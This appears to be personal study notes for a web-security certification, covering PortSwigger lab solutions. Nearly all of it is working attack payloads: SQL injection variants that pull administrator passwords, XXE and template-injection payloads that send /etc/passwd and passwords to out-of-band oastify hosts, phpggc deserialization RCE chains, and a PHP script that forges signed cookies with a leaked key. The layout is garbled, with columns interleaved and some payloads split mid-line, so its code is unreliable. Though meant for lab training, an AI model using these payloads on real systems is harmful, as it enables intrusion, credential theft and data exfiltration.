'rm /home/carlos/morale.txt' | base64 -w0
session cookie/ serialized data
- Step 1 :
Make some random changes to the serialised data
and see if the error message reveals anything
about the framework in use

- Step 2 :
Once identified the framework, which is `Symfony - Here the token is signed,
Version 4.3.6`, use phpgcc to create payload hence we would need the
./phpggc Symfony/RCE7 exec 'rm secret key to sign it.
/home/carlos/morale.txt' | base64 -w0

- Step 3 :
Before we can use this, we would need to sign it
using the SECRET_KEY from phpinfo.php, once
done, simply replace the cookie and yoooooooo

Run Code in your BSCP directory on :


https://onecompiler.com/ruby/428epcnus

Then run
echo "payload" | base64 -d | base64 -w0 & copy

admin' -- -
admin' AND 1=1-- -
# Determining Number Of Columns Displayed
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--

# Determining the number of columns displayed


' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

# Determining the column datatype


' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

# Retrieving Information From Database

# Getting Tables
SELECT * FROM information_schema.tables

# Getting Columns
SELECT * FROM information_schema.columns
WHERE table_name = 'Users'

# Getting DB version from OracleDB


Gifts' UNION SELECT banner,NULL FROM
v$version-- -

# Getting DB version on MySQL & Microsoft


Gifts' UNION SELECT @@version,NULL-- -

filter?category=Pets' UNION SELECT NULL,NULL


FROM dual-- -

/filter?category=Pets' UNION SELECT


table_name,NULL FROM all_tables-- -

/filter?category=Pets' UNION SELECT


column_name,NULL FROM all_tab_columns
WHERE table_name='USERS_OIDFJF'-- -

/filter?category=Pets' UNION SELECT


USERNAME_QJODID,PASSWORD_IOQBOZ
FROM USERS_OIDFJF-- -

/filter?category=Gifts' UNION SELECT


NULL,table_name FROM
information_schema.tables-- -

/filter?category=Gifts' UNION SELECT


NULL,username||'~'||password FROM users--
TrackingId=xyz # Welcome back appears
TrackingId=xyz' # Welcome back disappears
```

- Enumerating differential behaviour for true & false


cases
```bash
TrackingId=xyz' AND 1=1-- - # True : `Welcome
back` appears
TrackingId=xyz' AND 1=2-- - # False : `Welcome
back` disappears
```

- Confirming if the table `users` exist


```bash
TrackingId=xyz' AND (SELECT 1 FROM users
LIMIT 1)=1-- -
```

- Confirming column username exists


```sql
TrackingId=xyz' AND (SELECT username FROM
users WHERE
username='administrator')='administrator'-- -
```

- Enumerating the password length


```sql
b9QOtTGNU576atKq' AND (SELECT username
FROM users WHERE username='administrator'
AND LENGTH(password)=20)='administrator'-- -
```

- Enumerating password character by character


```sql
b9QOtTGNU576atKq' AND (SELECT username
FROM users WHERE username='administrator'
AND
WHEN(1=2) THEN 1/0 ELSE 1 END FROM
dual)=1-- -

oWhhTFNg3InKupxO' AND (SELECT CASE


WHEN(1=2) THEN 1/0 ELSE 1 END FROM
dual)=1-- -
```

- Confirming if table users exist : **here the case is


a little different, we'll get no error if the table exists
and error if the table doesn't.** only here we look
for 200, otherwise error means true for us.
```bash
# No Error : Table Exists
iXYYA0JufusvlWsS' AND (SELECT CASE
WHEN(1=2) THEN 1/0 ELSE 1 END FROM users
WHERE username='administrator')=1-- -

# Error : here we changed the table name to non


existing and we get the error
iXYYA0JufusvlWsS' AND (SELECT CASE
WHEN(1=2) THEN 1/0 ELSE 1 END FROM
usersss WHERE username='administrator')=1-- -
```

- Confirming column username exists


```bash
# We get 500 error, meaning the condition
evaluated to be true, 1/0 happened causing error.
iXYYA0JufusvlWsS' AND (SELECT CASE
WHEN(username='administrator') THEN 1/0 ELSE
1 END FROM users WHERE
username='administrator')=1-- -
```

- Finding out the password length


```sql
ERROR: argument of AND must be type boolean,
not type integer
Position: 63
```

- Modify the condition accordingly. For example,


you can simply add a comparison operator (`=`) as
follows:

```sql
TrackingId=ogAZZfxtOKUELbuJ' AND
1=CAST((SELECT 1) AS int)--
```

- Now we can use this conditional behaviour to


enumerate tables

```sql
TrackingId=ogAZZfxtOKUELbuJ' AND
1=CAST((SELECT username FROM users) AS
int)--`
```

```bash
Unterminated string literal started at position 95 in
SQL SELECT * FROM tracking WHERE id =
'xZV7TA0ZeTWXF0QZ' AND 1=CAST((SELECT
username FROM users) AS'. Expected char
```

- The above error message appears, we should


also notice that our query is truncated, which
caused the error message, in this case we'll reduce
the value of TrackingId

```sql
TrackingId=x' AND 1=CAST((SELECT username
SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR
DELAY '0:0:{delay}'--

# LAB
Setting TRUE & FALSE conditions

```bash
`TrackingId=x';SELECT CASE WHEN(1=1) THEN
pg_sleep(10) ELSE pg_sleep(0) END-- -
```

- Confirming table `users` exists & username


administrator too

```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(username='administrator') THEN
pg_sleep(10) ELSE pg_sleep(0) END FROM
users-- -
```

- Confirming the password length

```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(length(password)=20) THEN pg_sleep(10)
ELSE pg_sleep(0) END FROM users-- -
```

- Enumerating passwords

```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(SUBSTRING(password,1,1)='a') THEN
pg_sleep(10) ELSE pg_sleep(0) END FROM users
WHERE username='administrator'-- -
```
; exec master..xp_dirtree
'//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollabo
rator.net/a'--

# Lab : Getting out of band interaction

Nmr3lmaJYut96Ess' UNION SELECT


EXTRACTVALUE(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY
% remote SYSTEM Paste it directly in the request,
"http://5w2bez8il8dfygc8i0fkqa0s0j6au5iu.oastify.c encodings might create
om/"> %remote;]>'),'/l') FROM dual-- - problems, so don't forget to
troubleshoot.
# Lab : Exfiltrating Data

TrackingId=x'+UNION+SELECT+EXTRACTVALUE
(xmltype('<%3fxml+version%3d"1.0"+encoding
%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+
%25+remote+SYSTEM+"http%3a//'||
(SELECT+password+FROM+users+WHERE+user
name%3d'administrator')||'.BURP-
COLLABORATOR-SUBDOMAIN/">+%25remote
%3b]>'),'/l')+FROM+dual--

<?xml version="1.0" encoding="UTF-8"?><!


DOCTYPE root [ <!ENTITY % remote SYSTEM
"http://'||(SELECT password FROM users WHERE
username='administrator')||'.7jrl18kbtt3u62a8ks3cw
htfi6oxco0d.oastify.com/"> %remote;]>
# Entering our payload, the
application returns back with
"Attack Detected"

<storeId>1 UNION SELECT


NULL</storeId>

# Now we try to bypass it using


<?xml version="1.0" encoding="UTF-8"? hackvertor
><stockCheck><productId> Extensions > Hackvertor >
1 Encode >
</productId><storeId><@hex_entities>1 UNION dec_entities/hex_entities
SELECT username || '~' || password FROM users
<@/hex_entities></storeId></stockCheck> <@hex_entities>1+UNION+SE
LECT+NULL<@/hex_entities>

# Now we craft the payload

<@hex_entities>
1 UNION SELECT username ||
'~' || password FROM users
<@/hex_entities>
# Exfiltrating Data

{{#with "s" as |string|}}


{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('curl -F
file=@/etc/passwd
https://r0sgybqn6bd4psqrkj5odpygh7nybp3ds.oastify.com/');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6Ind
pZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJtajVndG5t
dzByazhvbXExdWthMmU2eG14aWQ5Ynl4MSI7fQ==","sig_hm
ac_sha1":"4f828b6d6dd88d337cdb12c447243560f36e8376"}

./phpggc Symfony/RCE7 exec 'curl -F file=@/etc/passwd


https://qnh45rouxc7dalerob7v00xympsgga4z.oastify.com' |
base64 -w0
Run php-sign file
Paste & wohoooooooo !!
Lab

/filter?category=Pets' ORDER BY 2-- -

/filter?category=Pets' UNION SELECT NULL,NULL-- -

/filter?category=Pets' UNION SELECT table_name,NULL


FROM information_schema.tables-- -

/filter?category=Pets' UNION SELECT column_name,NULL


FROM+information_schema.columns WHERE
table_name='tb'-- -

/filter?category=Pets' UNION SELECT


username_frwhjn,password_pqoozi FROM users_ndulfw-- -
GET /filter?category=Pets HTTP/2
Host: 0ab00007046512b1807a210400070017.web-security-
academy.net
Cookie:
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<
%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!
DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http
%3a//'||(SELECT+password+FROM+users+WHERE+username
%3d'administrator')||'.wqq28q29fz76s76zcr9bk1ujua01osngc.oa
stify.com/">+%25remote%3b]>'),'/l')+FROM+dual--;
session=TdhC7Xaq8ZmFsXBaKhalVHClA9ah23Cs
# TO Sign
<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-
PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object .
'","sig_hmac_sha1":"' . hash_hmac('sha1', $object,
$secretKey) . '"}');
echo $cookie;

You might also like